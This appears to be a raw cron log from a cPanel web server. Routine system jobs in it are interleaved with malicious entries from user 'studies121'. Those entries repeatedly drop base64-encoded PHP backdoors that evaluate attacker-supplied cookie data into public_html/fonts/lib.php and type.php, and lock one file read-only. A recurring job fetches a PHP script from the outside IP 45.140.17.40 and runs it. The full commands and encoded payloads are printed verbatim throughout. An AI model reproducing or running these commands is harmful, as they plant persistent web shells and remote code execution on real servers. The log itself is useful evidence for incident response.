Sep  7 17:42:01 ip-184-168-122-23 CROND[15510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:43:01 ip-184-168-122-23 CROND[17033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:43:01 ip-184-168-122-23 CROND[17034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:43:01 ip-184-168-122-23 CROND[17036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:43:01 ip-184-168-122-23 CROND[17035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:44:01 ip-184-168-122-23 CROND[18509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:44:01 ip-184-168-122-23 CROND[18511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:44:01 ip-184-168-122-23 CROND[18517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:44:01 ip-184-168-122-23 CROND[18516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:44:01 ip-184-168-122-23 CROND[18518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:45:01 ip-184-168-122-23 CROND[19575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:45:01 ip-184-168-122-23 CROND[19578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:45:01 ip-184-168-122-23 CROND[19579]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:45:01 ip-184-168-122-23 CROND[19573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:45:01 ip-184-168-122-23 CROND[19577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:45:01 ip-184-168-122-23 CROND[19574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:46:01 ip-184-168-122-23 CROND[21101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:46:02 ip-184-168-122-23 CROND[21102]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:46:02 ip-184-168-122-23 CROND[21104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:46:02 ip-184-168-122-23 CROND[21105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:46:02 ip-184-168-122-23 CROND[21106]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 17:46:02 ip-184-168-122-23 CROND[21107]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 17:46:02 ip-184-168-122-23 CROND[21115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:47:01 ip-184-168-122-23 CROND[22792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:47:01 ip-184-168-122-23 CROND[22795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:47:01 ip-184-168-122-23 CROND[22794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:47:01 ip-184-168-122-23 CROND[22793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:48:02 ip-184-168-122-23 CROND[23817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:48:02 ip-184-168-122-23 CROND[23822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:48:02 ip-184-168-122-23 CROND[23821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:48:02 ip-184-168-122-23 CROND[23820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:48:02 ip-184-168-122-23 CROND[23819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:49:01 ip-184-168-122-23 CROND[24129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:49:01 ip-184-168-122-23 CROND[24130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:49:01 ip-184-168-122-23 CROND[24133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:49:01 ip-184-168-122-23 CROND[24137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:50:01 ip-184-168-122-23 CROND[24240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:50:01 ip-184-168-122-23 CROND[24241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 17:50:01 ip-184-168-122-23 CROND[24242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 17:50:01 ip-184-168-122-23 CROND[24246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:50:01 ip-184-168-122-23 CROND[24244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:50:01 ip-184-168-122-23 CROND[24248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:50:01 ip-184-168-122-23 CROND[24245]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 17:50:01 ip-184-168-122-23 CROND[24243]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 17:50:01 ip-184-168-122-23 CROND[24247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:51:01 ip-184-168-122-23 CROND[24380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:51:01 ip-184-168-122-23 CROND[24382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:51:01 ip-184-168-122-23 CROND[24383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:51:01 ip-184-168-122-23 CROND[24381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:52:01 ip-184-168-122-23 CROND[24495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:52:01 ip-184-168-122-23 CROND[24497]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:52:01 ip-184-168-122-23 CROND[24498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:52:01 ip-184-168-122-23 CROND[24496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:52:01 ip-184-168-122-23 CROND[24499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:53:01 ip-184-168-122-23 CROND[24588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:53:01 ip-184-168-122-23 CROND[24590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:53:01 ip-184-168-122-23 CROND[24589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:53:01 ip-184-168-122-23 CROND[24591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:54:01 ip-184-168-122-23 CROND[24756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 17:54:01 ip-184-168-122-23 CROND[24755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 17:54:01 ip-184-168-122-23 CROND[24759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:54:01 ip-184-168-122-23 CROND[24757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 17:54:01 ip-184-168-122-23 CROND[24758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 17:55:01 ip-184-168-122-23 CROND[24854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 17:55:01 ip-184-168-122-23 CROND[24858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
